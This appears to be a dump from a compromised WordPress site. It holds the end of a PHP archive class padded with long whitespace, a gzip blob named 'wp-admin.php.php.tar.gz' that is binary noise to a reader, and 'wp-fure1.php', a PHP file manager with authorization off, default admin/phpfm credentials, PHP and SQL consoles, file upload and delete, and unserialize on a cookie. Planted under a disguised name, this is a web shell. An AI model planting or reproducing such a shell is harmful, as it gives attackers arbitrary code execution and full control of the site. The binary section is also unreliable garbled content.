				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PK       ! $[  [    wp-admin.php.php.tar.gznu [              rȲ دW U:E/RRy⾋VH:964fc6626BĆ SvOO*% 1=fVx̫@o[zȰK^4Vտ?î`8Gca=C(MQQ?~[?ן>sMF5*dDf<Dk2bdF%QRU%G%)n$P{jɏe	&yOv8K峾X
cdy8s5~iĺb,xRwo\kwxw7/Ad\&^E@mf*+Pzo xtM{3V3F~[26h{y=oo>xUY'p\e&BA^y<Oh7&&ohM	STnG|,H[!t}ڼ«*5	?Ezhg,7A1PgT=Dn6Ua]A	0Q!"T|?`\ )D5YD T9U-<SN `XNdFT$kde-&	A3LRTdYlY̤([Ifq*o#F<BVI lŉtGox0meP$so+Gi!x}Nz\}Yp#KPۧk Ci"`@FfG#+~ W
S!NƒГPqSXzy~77(u$F'FDtKY"Yj$K[
kl_:۹V/)v:T&kt*Z*D.-wPz=; &!C&1H_C$ ȓAs<wx>Å_]Qi_߯S{b0
d580mm62A)'$Uu&z{U
1#`d/_,OTM)W ƚ?z	[QP+#P+ WpޤaM-ƀ|@7Hݝ%t
Lp6/D\@2L25ف`m8#AEq̲XǄcEb̞ ѺLX(/;k&
؍
_qRU3Uy*[:S(EMp*	"ȋ*+eK%#MSQ)MD/G".l؄3&[j#|<'jZ켠7s-lŖ&)h1@λ6>1`bX1K:WʂIQڊ68
V' Z޻vXgx`cv#Pn/ C+8)KAv
,(NB@)YV^^]SK)0|q5˫pFӱTZ4٤ Ԫixw* ,WS:h4W=g`C<lC<C 22A1T\"    g{^TvUEˇCh)삎!'l!3oa;2G18ά4-09~2d0鞊{[i9
c-6=aͅ?p.6:&Y4ds{)$g~L1_ Hvm&aopIBl&baxEUfrMFU啕GQUP%h7Fp_leg 
HwKhU'Ҋ- lgw&J$jZduOE#P繚2"::5)`JU)dXp`uihBTjJ%Md6yb$:|[eTMyt{(KI;zDn,I`֬AL'[P%&QGcKa]&xzJ.)æwW9ae
-+;r>x~G<:D9Uv	#^Y^/)R,Gk[&V$U1QnG,	G$(;<DpС4v~H&MaJ5Fo2]1AKZH$ؠCl]لtjB['\?a,6vP"
N6̙HRۭ<@gF++
뫢2p_ZIK LU©fe~󂿶+S/gFD<h[L>.ZMkh	kp;v;FSd*w8`>gh#EM{OݑaZ1@;[=!$n$RM_A--t^q00Jo@ʎg۽PCA6;=W-K?~*2"*	)M0[xxt*w80 \<s<D557"oO5I3uOg8q-k8E H>=g\'yU7UzV-xU8VԄ(g(	fF͗[z|X(i$p^&oG=4?zA1g(=Oꛭ%NO$|ұV5FfZrLb7@So(!M<__}Lg<b K"FaXRWϷ0z罡@AWvq"f^TQ	Lĩ+31zsg:.kNv('D}cpba.dDןh	%	$~7:e9^ŭf+0ыg;K7N%YI
߀ؿ3LS\tWm/钃JP(/ٹ
,D#68F;_l<ԍP_h}*ҩvmg{N&F&{3XwSc%tIcGhch vq`>A+NMb~cHgܒg'ւ3yL,ɜX<3FF,<o2V!IM=M'A(%uu]#e߷2XdN8lp`ᾪ&_%A=AfՖ<y0PdaM6+*ʶГxs2$$Pa#fVo*ܡ9_Bl@@mE ؑ{_e9Ro"`5(B:A#]:Q '@2TrmeQ֨ŅaﶵI&%vImUxxhùŭD{<ErC%=.ptߨ|^և!6*foF	K!5VYHTc~Gq^itkdZT'GJ0SP~	|[mxF<t(e?̥}B&kJvաJNts;1A4OB:TWJ9l`fT٬P67_og^&,z9Iګz2L2w|8ߝ:;Q@eZϨ/nVS:/_o>^[$a0|ݠ]fĄ,'%˨Gϻ HhhmIVu#@ts'NAb8g$f~H f}yyy
*	PBȔQ{I<lQNU hadmg,U*PKkrW䡇>!-tI]_@J=:٣ҝSW:ƶ(h,1WaQkEy,ER9ޟr/G)2Mёr;n&OMtUnA@2KM=hNodߍZDM,tK34sL|*,9EJ@( ͍8)R7StęjӞC^c}pO׺8j]T2xE2TC{^Uw2QJI\KFܑ,W-ZӤ{p[æ@)v&xRCdZ[0/oca
oM[Tɽ:>lF)Q)3iɁEV׼{
=y
v#i=nǒ ɏL'pA<"ܳJz2"@T6ʏ!RFT>BO	8+<N@)MS~g>KlbTp7`mQ1f	pC-XJE4\v%3)Mn<J>&{zk/R
Y;OijfRUW4.N7JRm/G[yzJDs?j<Ⱦ6mp(ɭB\0C*/6HUt\:ʉq1L|
FtG7`?w~]S>g"s᭤֘
6UB{1gT,&2X=;僽1k_n[YFFDcIEz94/X@R;EVLh[\J%`i@YJ)tqڏ;IDzl}^{sanR}Pe3!W5(4ۊq8Z&tr	f
F oY_sCSUU@_(o9Wq /=M>-֟-U/SO/B>qp7Vj%-וiWV鐐%B栒t_毻8FK!/BIy)WSv.ad}rm.Z?JO8xl뇘 ЭLQcxdT͵\*Gz6[GexM>X+}6;MQ= d|НӾf"?TwZ%=ds2Ks;uy."?T`l7`Pl/B*_/B)'>+tٰ(nfv\ה`wCv0
֮2Z{ÍT;B3k/|oˋrV$i& S.I.0QU`b]s/5|hE.ݨrj;M[2<=agL%;r Z#-W
!n*=z@ cWRn7GW0tY͔mjnH/6JƱM`=*kmH&ȪTF^ZegՍt:M&E:UǠ<9~b#xƍ#i׮x
m*?RYjVJ<3ϢRJalM#ۍnM c/cboAtC:$ ]M\!@
v&	HLNjhhPc&dI}gll^L;=Vlw iiTm$cJ9}k[#4:]U-_oSl.h;uWPUP'jc?9-`,7d>aCq [Ŋ|$϶=t8Vx]Y[A;r5,Ztlv_Ю'eňz%<[m[4}>DH'i{p4tsK`P:"x}Azbgը727d瑇|h orG/Td>Zq2!@^fXu |X>H2Փ^Df[8+:_<g#vwPp@`M#Ge]),~I۷1uzIDqB@F0m Ov B|	^T#noD(}!#B'M34/Oڂɘo%Ѿ@!F+ v09`CNyp	O*E$!kH| oEC o2-g{۹
Homx
x@fהm+ysAlw+>*P$g$"o,y"ǽ wS6JGV|,Р}Ny*R<Ed!HȟSrtˆJ
x#
3O7:2=?H'ڠܠTL٨'<2#XNc!<TU1WC<k-5k-ܑjwXgN鮃ט3T70%o7GC؛M|;e砓@hƳ,gu̶g'u8n"z=SZc1df"N~%<`
9)'Vul9vW[  LN66!.T.a7ϙm 6
Є3CzujcvHAE02[!tI`m֙M왖8wjȾA@U,/yDYc? }#l ؼbcA8Ƃ! ^dΖ(CHR77ƙQLb oꆾAGW`#`2(^F7>-9yʽ+W!F[4Z[Hq	"T"ju0r1kzLL g2lDcw
c_P(9Mwה/dz#[&R2Y*OGE4@I$ށlKm HS^$K|{BgK&IAV4.8+Rhat  aFL؇+3[ߒ;(
:+!Bw`>\Na(:VZ~0fǻ:\?n?1
QD#eUd~HءnOEHkZ<+z!G<+GlGB޸GQ@Klzcrwn0/l2ڭ	zӚ+3gء.k@']zc	=HW}/׏ӱj(#gC=ؘ$כ>{|_t|oFHׅ9_heƳ4hpDsVwϽ{HF`qWBiYzCtVXKܚ]o]9;fUP;DAy\S[HS7t3h0#䑅c^"JS:7mgM3 :`mz~f'2fU}+;<#(K]`>A&CC"wqZ)A]]so) b9}4}˭a>|{깪\5? ҤvJٖF}~J#.f?. +,ǅթ&% ~Q2G{?ndyUMQqL@tH)/QӇ쐠p&I%JrbW<hK߯h:,T0(Sd>I6{*LWch<sj3'@G7×Ԡ:_q䐞]Rzh uq8bI`0G yqsai5~Y@n>e1IH'uShcFrS#m|pAb9%S c:oB4kY~oAEdpO2{D[!S%j$~dLrh'	*6MH <c)/'thdXg-Jvb'a<D  Zmu8hgQ7o#7]Yߏv34V0b2@Jw5XجI̡&nX7A &'poyl7AR=+	ti>gT۪`mB+,'v#99_TJ=5x,x]yR~ )B7r{\*wZ|L+jVyM=91h"#1'63Μx~S7+Гʷw_߼/]G}5xOXOW6fIX<[E%yri${={<OHr<cMwɆMzEB3` `<`|`10Sx>bșQ0BE?)xnxno(2$o<Β,c5D/뛇>*\2b>!''^_C87<(]鑷	ե(. U|y2z3xǝys],X~4H<!Wpv5SWLa,l4dq ?|*Ο+fp]OlgFS~IeL6A*֎tO0Cu<7`<LqkzG ^Gҗ::X @|[ ]XX6bXX fՎՖz·!x<?G1Mh¡$*^Vԏ/cHԷ\׏$@+{2&Yz:z#iD*ŭ]Xlw*-@'XSJ/Hjȷ3 $ IN̠|'(dt)$PMRv-QpTqΈ7Vy(ڴ20r;JNu\4蒋^wk\!OT>2|/dKR9,JL>K"¯ڜI0oT׆)HpNRԾZABkjRRLr)0tN5fFv+Tq3MZIeS&UM^7W85RљU2T7KG-4vvRey*RS8:RT3=2^ɴ `ৱTI|*?ݦҭe;ތjS5MR	z.Si|o*j@yҾNCx[r4dx9*ŵv3GL`YX:,]38h̖Bi<i[n$j.+zMB\Z1<[P'jW)KKi^ش%N);*ChV).2=F?[Ta{]Dj.2WID
tGk8N7&p%ƿrAņ[C2+T)Q+
MoYkˑ~Fx-t
qWoW|۪/t覔Kj
3cF7N*Rrl/v˩ivZq"D4/`J.)+li3鲜NN9ҳC:z7IKiҙ̲*_efi|0Jwm[[LSam+y`WK,]әf+OM;vSytK|)^2>jZ֝Ҫ[JI)1"r1;ɍwBvBl՘i 
tK/Xn26(q:8mo }hFٔSj3U2|rj/fmoja10vٞv_S KA+ng~.6hbϱKm˾Y4,|`0/fYisRS٥c|m[ݿĖb[;R/#o拸>}Xv ׅulcQ5gqA)Ԙ鄻UVLr?
Kԙ^ȟ2S;ܡXt7|iG`),L]ɾ_Y_٬Z>5j6L,Bj<Ptʃ?wv(:7FM7]*˙U,^a/mzzT^ɷzj	y1U)v[h:U=KN҃E?UDv/L=TL:TBSWj00^b-em@1\\yԻyv3r{Ь)sU!:w*ݰ+Ux]V[kDt-pcf$Kk-t==݄	1j75:r@k&I#5rHup($fDt~({l~ZPEZU4vÖ'x/}Rho&AAc^"Fcf2,tU-Z;bZCSVqFfuBEZJ5Ui3Ab?_ȚEǭUL/QYT6ݩ2JuV5M]~^XQ/k	M莿Lٵg8糫~]2AkBhU	.fsu֨Ab>Y1"pvRƾJPiõl{Q.cVJ(մ*&Mb|KߩFK"lD|ja3FKcbiW"WjZoYl7%摽m(4p]3}eRkQC]:$fFf2m%+⥑8ȣ@z^D^z.S5-Ҿob(*D)vY*Pg=G|~;!'zB+Uvy(ڒoG֍h#>ІXxnk(&bx3Z,<rLݴJJ}5LuJzmRuLJv߯gD1S%nB)˳H=;v.N]Y[-*j{`5_Aw͵4o%F>fo׏V}&Voʩްgs=zyI
쥢d^\2ojWf-r؈4R;<,Wa:RDvûnm\+e׉n^&-KJZmVe~~m_ɺ _~,˳(&*΅Be0MNwCeF@+f-2\kMz(X*I\b̵uQCfrPF5Z]
BMc^G!Dwb/UzZ?'/5ї&ע6)_,m@LZvj9w;^6_MPm(.Ksَ̰.&sE.,l%,7eR;ˍ:Zhx+L"MLtP,!ga 1cP!;a,lCA1bg_<D(Fyu;uG_5[ĹXYLL89PqxMTxkD>Wͤѓ|~U IhXNl7Ijl||*&"7'=.,m",ΧzGJ":ًxbqNGyZѴnlhbR-i8:=z4'&evo:=T{1oQ1mDb\2uIl[vt<tz
\JeT#*s,2;tJpa*9jNƙԶP	\!U>
~TV6?IvFrVKMSQt}Rx*sQ99j7Y3.@@I,+.}d,78Zx,XOz"ʙez=G<55F[|w/W/ É}+$jYD΃K;%U*W;xҞe~[0}Am'X憳TzPqڪG|vKla,4'ˬTn;<3ԃBMd0ج$jCkzH3URڷmJ<:j?co97(.Z)Zpn6;6ڙlfj-z9d>*S_7l%N%$kYI`9*Z¨׬3KN7c>VJ/_L>]gTo//SO+W(*VkݜV:/~#γTS\g[Lx!J6{)>VKVKB(3*mY'rBhke&s%^iO;ȟv? AiO;ȟv3r0Xb: vP]ӝf/>_Lم^Y*-"#ZM%P;m;,`Ph	꾰Vr,'aӁ.=%eXHf_Mۃ7)):2<dx0_5dt?j \v6X7d.gK~RuזKğ<. N2Z.T^Uf7٦:{z;%Ĕz/YDmHI©\7c$6FP<2-7_ 
[ךJ~굃,|S5R@LdWi1uBU.YbʉL#'՞1`HK`qJá}8
H=<L;T6P(n2}M0P}*GB8u^Vv^wrAN6h.ҠyXNJ*56%2?0uxkv:ivHU:nbB2Jz"fv/fNtVA?#w<O=WꕥH>)+;W_MU
*O>}N:\??_?K{\#ya4ƅTet/̼BWBiI+:C8n{~Ɋ\~ԁ<=HVT;0_`ɣ`%*귊hu%֫r}pԷB(:PQmZ)(^{YJv	_ls>hDmF3[-#yoceaNi]	6EXVVoĀ^õ@atF>E[x'c~9di	ɉʤ^0ƽH,t|UL|>_o]g{
@n M+4^ho˕2{NմrhtaoK}|JY38Go*'63Ca>QQ>9
*!6bPcxbO>%"(@Ub^ix`k0b+6RlN'ҽ@Yv@\[xi^rtD_T;4i/Jh9UjmU86@r)S-O(4/Ef,V_luFf:=,$a;2aE[Xh_Z|͗>h*ju/uJU%5+0/qRf.ʙ1|k2jY1:HrW3@/B:O<<lKfͧ~!#0-<	?b7Hڃ ,NR/\_VŦ5PLfTM+ڗGkq@jVJaBLa0xIXߧE&_K)f:7)U>0suPjnSEq$Rn*G2R)_329ND{7?Ƃȣw=rކcEhTJe{>
D=~aRwu)?#N"nOQ~	K=92~^<:08	rFlu}!?O9Xe-<믧"
HFt]b~z;z`D'Ma \Pi@\hB_4o?P	>!ލB8cdD(Gr.̌krUxL-yl!oA|[`D:EItx=qe,QVXd`,IYp|y|A5n#BT2~A$ģ(6'+0aO~ 	/VGRD@;֚?j'(:*z&.nVNb>5 p2oq<qw;@<RE`4jsę(y0?@dqf %NȎΑoQi[Ƌ>g?0|y7N2[$:mxZ?K`&
$s`lEA)#{9w(0[`_%%ئuƭ\9쪘7r$ldE#Ϫ/@J꒲EmrDSdС`2_HK}֯
 :	@w@/'+ ]a_1&Ka."B?Guq~0K8l~(s-ُX."&֠U
6dć7-pX*NTcȾ:I,!{oש^y/AvG,d	Yw#@2sd5E#-(^?$(l,m-t|&WCǅǱHFgqIM%^i
0<PGXp|;רK '2 1	 [1EI.#qp6dZ'AI&G@8	XCt"K4%,	 #z"[+wE7.}Μ.ׅ\а	l)|_^PcNdߒA!nQGFjYHm8>>@-
t(B#
g3
Ds^4~F\X1[Fj#kc	i{9kBw<+1D/
4:R ]03=-R<#`"w^bLfvN4ŕ1䰳tS'kx ]"ye\@T6czl)nAGxO!p?&q0L(Fݱ`F\El&& v/uC÷RT	d*@C$ÐN#%m^"4p;nϧ:;gppw+E8|FkccYF%-^ ~Rr^()2GO@H=usFD0"O19
T{s@ߑ KП_E5 LhC[lbQUm_y(_O\ZcψԔ|IӨ=#Q;x)dyW47ЙjSEX;?mârI\`t14kfHwrd7X]X'kOO4@ωBU3ÙD~KqF}6.1WcO	o0p6hJ鼳l.8l,qIm¥,Fcɰlɖ?Yw^(c^(ݙSmމ~FjP7CS3,eE"7~ #w(lGJpoHOF4oQgHwx݅,spYja)Ox^N$aT{`=Z%V[$qc T2[ntFELamf`g<ekFiz|+0xlPd$u63Fw2]x2NVɿNmn@'7{N?K	<Y~JFU9%$k~eאޔ,]}pw0@qr&h4/5CF	oTK5c;kN؏#ؼ,-`!dk!F(`wo'n5z8(
=U<O.f[fbD
;3~=Y[PޣX:^%>_./@qTpX]@n^,mف$"D]ybsE?]: t95+'AWBcgp=PNu< J' q.4m\qK˕)DX#FXr}|;&9= Nm揑0W"Je;A<v"y\=!h=!ddyG׀Z}Eہ50(ސ1O.ݩ$R͓밂]e7@?>{WW`u@ t{@gvW 1u
rS>3(LfjGC+\=Y߭muIbdӛ]Z+ϙb'd=3wc-uzwa;-GpZկ';[~Uom+4
IHDgX6}R Ixj+gC N-;Ol{!??@m'Z+~6(ϖ2,#{歅1/F\vĤضl6 Jw22ˢWv%D4  -_d]i˱DZ=Γ_Vg-^Q%|pM[ڔzD(I(EB1%`oǌCFWMs2dpotFN$+EX巽hR4rjokM\]׾x@L L9<ޑk;=9)Ɀ=LBrfA(nt}+i*ܨLR77UATN^1!Ph'ӅXJxɖDOGh477@qEFdgHJ1U7-,ښ(r
K=Losc1gn5W뼵sC/(f}dqlt(j# RY[ Qu8K?#w̎{kW.hv3< XˈP%TP]%rAgz<%@#U(E-lfPusaӆm)dJ65`sZ۔L8tXpDUwy-߱EEA	jLhRgH3 8ÏŮ9cȜiz;HKٮ sx9ގh#3SB3+Uf%{9[θ*Ɯ]	11!u\Z Wȓ7j<o]$hc*~*L}87nop;\9{:SnXڝ^M}_ūK70K@,PBN<-%xY)'Pꠄ;ǐg	,3@(`vs
GT?"^¸/1ÍKw3zm-]#m9ß3|' ?ϊD^a[UTKi
se+!f`邃	<^-hY,:<e9VEQlJVDh%dIe~@_,I_rԂGD|K[冾lٌe(/>v}^}5-C
g(zJ&dh\~f<S9bD+ZN}(Ea'.3YesRg/b.#I+ovf[$q+&utpu1&|3rkF?燘H-s؊	&\=?F}P}uj ?N{xPϴux@>wqGoYj\;%ǃeMQ#;il4ՑtEf$vO@>h@%~6ap#cKMPXH"~7eqϏ΍:z2Ax|73R$^O>)쏂FOiHOD*G|=6n4FF 812K< 5'p1/wzCkG(j04M<2@f%Qأ('ò	`
!ty3C3
Ty}~59 iGAW=lctx}Qmp1朊>V)p뛧t-r ޣ3J/3.f	@,y(Ѕq[1S>%ޜtl[ Sas'q-Ay3*Ei+3+pb^En?3˨?S?3z؉\-xYiN4+cF4ODР 3C`F="r\[wW&vcP k<Lz[(TX
d2QH%'O92.GoNbɊBKC$/yB~}#GNDNPk;^ʁ8"G4!Nn=9@`yK8ϺqC$+!ޛ$)ߐےُ8#+|_9&q (
<,HCD(^-D4@j>uFdh%Hb+ ~惯HJ樽QFB3v#srdUhY+4)PưZ\(xQ7Ch"ΕG#v1*Ph(6@ɛ9-j,As&
Ly}8iˋ}@SPc	P<f(+4j+ghUd8&z()y(aJr)$(뜇z_|h'S5Y$7ֈ.m *nt;3N?م\Z}saQS$"9;]Xl='#)x?bi$`E
k\hi	/}?!	3V>W"w;?Wbm;(#iC{s`_h])T0f$xvaTo	95ĩQ=` A/ҜU<0I`xK"(8T9^shKB4N_f	}vssAFnY?*7&7[q&RcntKb?dcQY~#$j
v<;Q@@VTF 8trρoG(Y0\2?P8P4>q+呦o:FcPV 4*7tnQ6CrmHuDhAǺc۰ 5{kPypn3>x-Q"	Ō/!}
'NֱKϰ{1$Hm${4g{냹ݘ	&<S{q*=u+Ac9:zf2\挕@Z/3vDL+KKA26t|C'C`(aT|xw b 2Lw#wF	0	9a׿ᨡb+Z8p9o38쟯}y0k zVr||xnC݆s+_d98Er5qH:X.^qWh45LMIpԗ2L">IЂ+$L^\uS;.r,Wl1E-QToL  P ^9و""
+sy 8]| Tq\ce6A)5;u>~gz;&NFL0VN4Bı#/2>@6 t؝%	u!FW@rӕZkͧeY^؞곰Ֆ{\DJlR"ɪBјI~d10!')'.s5lY̸wTt]7\ L.ߑ NJM{Q.1:4=ZfGۘaw1z
4Cf XT: $<&{n 3WVž!אZ-1*JSI$~)(7Q3ElM8~>79h*KWY𻥃[.=}:RT]F&:=v۳|wl@Sf\I?덶a&
@Qe1 ƈ"a-JLBa&q6s׍
޷|C|3teOҜ겛Erݡ/[]V$Zya93l)鷆 (uz[KyOgi|忙:	**qsAn^$fBЇ!Ct~8E7evݹhGJ)tcJ^K2ܴŝ1N謡edXphoA:lgb;(hh\2uعfJ,1m%>UKtYP8RD箭+NT;S5'h^D~V~R0}mƻ ;@Ɲy6oy#Zhήl#qqSrFs!~a>rX0$S̽ղb"1	ld9s^0:<:as͉`u.Y*kd]e[$|0\k󚇻.;ASz10DW`3tL俧xcG!?T ǦG ~Aҏ#MLv;<` >$M8]'[?bxҀ^
 ZF{G	0"66:
I7Ad5/ͥC>Q(U 9?֑N#tXTV<b9?QޙH>ԟ2mF:±' nrh6mTnp:XX>ƊS1s01NhXW@r:b}"7b8uF4K78#e1bla؇&T~vNSma#Oxz"@Y8*^b5B*εy:BgDyVW]PT3>vGbs7g3F /A= 챮zޛ"𻺲(rHwWW5?Y[Ŷ,[SaGEn{n{t>i%iyܒ`:ؘtOS>-DI53~ksÃ7nQ)-N9=Ptq^oxvVf!c[jRdĂgd;^cO"8Ɂ$8hf!wPAs2D:rj ,jF."KH@?8(Vikt| f:S­vޤas.=6Sq}!*#%,EtfV7pEOmIW\w EKJ2k.ۊkGEP@d2ʗ :Р|"`Ay߯fK4x<MeI[@r$OBCtpבfKfʏi&Hh&p)r%3dȋl~&tHc5ˍp7K`^bpnST0u"++u<c'VmCaqߪWRvdfW9s9qeB}띆 ^{>j@9r&#yaχldf/q`*;
NF Q&#F"Jh{1pO:Z7;Y4;#RT"tNo7ӡ<["`C] <H++ɝ/}AS;ErveUGQ{hK$GCFi0XtȂ3d̓
@3XqnB29ӇBa-42N$>t!bxQОП4J	#Sc?Os&zIa!֥}D AU@MUN܂odujdAcgى>lNmǺmQTUɝPJqN6M(Y_ndוQק-H!숿AmM(rs[ƣ} Y[TNikpfu{sh0E{e'ԨIAhS}8yisy7%2CtLv*?6DA(,-8y2QV ^$tj}}gY+nGv15>(\m.?c fIggtl,۶`dρ	*8ВoJpSh;y:-^Dyq5=4<Y#DJ$w?S"exm#:og?S@#B]1\K'Y]VjC=0. 8F(՜ ٠$: #ǶF8!enkfu-!	kjy]u-JV2xGwSU3莺n~Gϟ?ʵ 0 PK       ! . .   wp-fure1.phpnu [        <?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/fure/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
